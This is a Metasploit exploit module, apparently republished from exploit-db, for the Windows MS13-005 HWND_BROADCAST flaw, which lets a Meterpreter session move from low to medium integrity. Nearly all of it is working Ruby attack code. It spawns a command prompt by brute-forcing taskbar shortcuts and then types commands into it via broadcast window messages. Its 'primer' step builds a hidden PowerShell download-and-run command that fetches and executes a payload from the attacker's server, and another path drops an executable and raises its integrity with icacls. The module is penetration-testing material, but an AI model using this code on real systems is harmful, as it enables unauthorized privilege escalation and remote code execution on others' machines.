Microsoft Windows – HWND_BROADCAST Low to Medium Integrity Privilege Escalation (MS13-005) (Metasploit)

  • 作者: Metasploit
    日期: 2013-08-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/27296/
  • ##
    # ## This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    require 'rex'
    require 'msf/core/exploit/exe'
    
    class Metasploit3 < Msf::Exploit::Local
    Rank = ExcellentRanking
    
    include Msf::Exploit::Powershell
    include Msf::Exploit::EXE
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::FileDropper
    include Msf::Post::File
    
    def initialize(info={})
    super( update_info( info,
    'Name'=> 'MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation',
    'Description'=> %q{
    The Windows kernel does not properly isolate broadcast messages from low integrity
    applications from medium or high integrity applications. This allows commands to be
    broadcasted to an open medium or high integrity command prompts allowing escalation
    of privileges. We can spawn a medium integrity command prompt, after spawning a low
    integrity command prompt, by using the Win+Shift+# combination to specify the
    position of the command prompt on the taskbar. We can then broadcast our command
    and hope that the user is away and doesn't corrupt it by interacting with the UI.
    Broadcast issue affects versionsWindows Vista, 7, 8, Server 2008, Server 2008 R2,
    Server 2012, RT. But Spawning a command prompt with the shortcut key does not work
    in Vista so you will have to check if the user is already running a command prompt
    and set SPAWN_PROMPT false. The WEB technique will execute a powershell encoded
    payload from a Web location.The FILE technique will drop an executable to the
    file system, set it to medium integrity and execute it. The TYPE technique will
    attempt to execute a powershell encoded payload directly from the command line but
    it may take some time to complete.
    },
    'License'=> MSF_LICENSE,
    'Author'=>
    [
    'Tavis Ormandy', # Discovery
    'Axel Souchet',# @0vercl0k POC
    'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit module
    ],
    'Platform'=> [ 'win' ],
    'SessionTypes'=> [ 'meterpreter' ],
    'Targets'=>
    [
    [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
    [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
    ],
    'DefaultTarget' => 0,
    'DisclosureDate'=> "Nov 27 2012",
    'References' =>
    [
    [ 'CVE', '2013-0008' ],
    [ 'MSB', 'MS13-005' ],
    [ 'OSVDB', '88966'],
    [ 'URL', 'http://blog.cmpxchg8b.com/2013/02/a-few-years-ago-while-working-on.html' ]
    ]
    ))
    
    register_options(
    [
    OptBool.new('SPAWN_PROMPT', [true, 'Attempts to spawn a medium integrity command prompt', true]),
    OptEnum.new('TECHNIQUE', [true, 'Delivery technique', 'WEB', ['WEB','FILE','TYPE']]),
    OptString.new('CUSTOM_COMMAND', [false, 'Custom command to type'])
    ], self.class
    )
    
    end
    
    def low_integrity_level?
    tmp_dir = expand_path("%USERPROFILE%")
    cd(tmp_dir)
    new_dir = "#{rand_text_alpha(5)}"
    begin
    session.shell_command_token("mkdir #{new_dir}")
    rescue
    return true
    end
    
    if directory?(new_dir)
    session.shell_command_token("rmdir #{new_dir}")
    return false
    else
    return true
    end
    end
    
    def win_shift(number)
    vk = 0x30 + number
    bscan = 0x81 + number
    client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 0, 0)
    client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 0, 0)
    client.railgun.user32.keybd_event(vk, bscan, 0, 0)
    client.railgun.user32.keybd_event(vk, bscan, 'KEYEVENTF_KEYUP', 0)
    client.railgun.user32.keybd_event('VK_LWIN', 0x5b, 'KEYEVENTF_KEYUP', 0)
    client.railgun.user32.keybd_event('VK_LSHIFT', 0xAA, 'KEYEVENTF_KEYUP', 0)
    end
    
    def count_cmd_procs
    count = 0
    client.sys.process.each_process do |proc|
    if proc['name'] == 'cmd.exe'
    count += 1
    end
    end
    
    vprint_status("Cmd prompt count: #{count}")
    return count
    end
    
    def cleanup
    if datastore['SPAWN_PROMPT'] and @hwin
    vprint_status("Rehiding window...")
    client.railgun.user32.ShowWindow(@hwin, 0)
    end
    super
    end
    
    def exploit
    # First of all check if the session is running on Low Integrity Level.
    # If it isn't doesn't worth continue
    print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?
    fail_with(Exploit::Failure::NotVulnerable, "Not running at Low Integrity!") unless low_integrity_level?
    
    # If the user prefers to drop payload to FILESYSTEM, try to cd to %TEMP% which
    # hopefully will be "%TEMP%/Low" (IE Low Integrity Process case) where a low
    # integrity process can write.
    drop_to_fs = false
    if datastore['TECHNIQUE'] == 'FILE'
    payload_file = "#{rand_text_alpha(5+rand(3))}.exe"
    begin
    tmp_dir = expand_path("%TEMP%")
    tmp_dir << "\\Low" unless tmp_dir[-3,3] =~ /Low/i
    cd(tmp_dir)
    print_status("Trying to drop payload to #{tmp_dir}...")
    if write_file(payload_file, generate_payload_exe)
    print_good("Payload dropped successfully, exploiting...")
    drop_to_fs = true
    register_file_for_cleanup(payload_file)
    payload_path = tmp_dir
    else
    print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
    drop_to_fs = false
    end
    rescue ::Rex::Post::Meterpreter::RequestError
    print_error("Failed to drop payload to File System, will try to execute the payload from PowerShell, which requires HTTP access.")
    drop_to_fs = false
    end
    end
    
    if drop_to_fs
    command = "cd #{payload_path} && icacls #{payload_file} /setintegritylevel medium && #{payload_file}"
    make_it(command)
    elsif datastore['TECHNIQUE'] == 'TYPE'
    if datastore['CUSTOM_COMMAND']
    command = datastore['CUSTOM_COMMAND']
    else
    print_warning("WARNING: It can take a LONG TIME to broadcast the cmd script to execute the psh payload")
    command = cmd_psh_payload(payload.encoded)
    end
    make_it(command)
    else
    super
    end
    end
    
    def primer
    url = get_uri()
    download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))"
    command = "powershell.exe -w hidden -nop -ep bypass -c #{download_and_run}"
    make_it(command)
    end
    
    def make_it(command)
    if datastore['SPAWN_PROMPT']
    @hwin = client.railgun.kernel32.GetConsoleWindow()['return']
    if @hwin == nil
    @hwin = client.railgun.user32.GetForegroundWindow()['return']
    end
    client.railgun.user32.ShowWindow(@hwin, 0)
    client.railgun.user32.ShowWindow(@hwin, 5)
    
    # Spawn low integrity cmd.exe
    print_status("Spawning Low Integrity Cmd Prompt")
    windir = client.fs.file.expand_path("%windir%")
    li_cmd_pid = client.sys.process.execute("#{windir}\\system32\\cmd.exe", nil, {'Hidden' => false }).pid
    
    count = count_cmd_procs
    spawned = false
    print_status("Bruteforcing Taskbar Position")
    9.downto(1) do |number|
    vprint_status("Attempting Win+Shift+#{number}")
    win_shift(number)
    sleep(1)
    
    if count_cmd_procs > count
    print_good("Spawned Medium Integrity Cmd Prompt")
    spawned = true
    break
    end
    end
    
    client.sys.process.kill(li_cmd_pid)
    
    fail_with(Exploit::Failure::Unknown, "No Cmd Prompt spawned") unless spawned
    end
    
    print_status("Broadcasting payload command to prompt... I hope the user is asleep!")
    command.each_char do |c|
    print c if command.length < 200
    client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', c.unpack('c').first, 0)
    end
    print_line
    print_status("Executing command...")
    client.railgun.user32.SendMessageA('HWND_BROADCAST', 'WM_CHAR', 'VK_RETURN', 0)
    end
    
    def on_request_uri(cli, request)
    print_status("Delivering Payload")
    data = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
    send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
    end
    end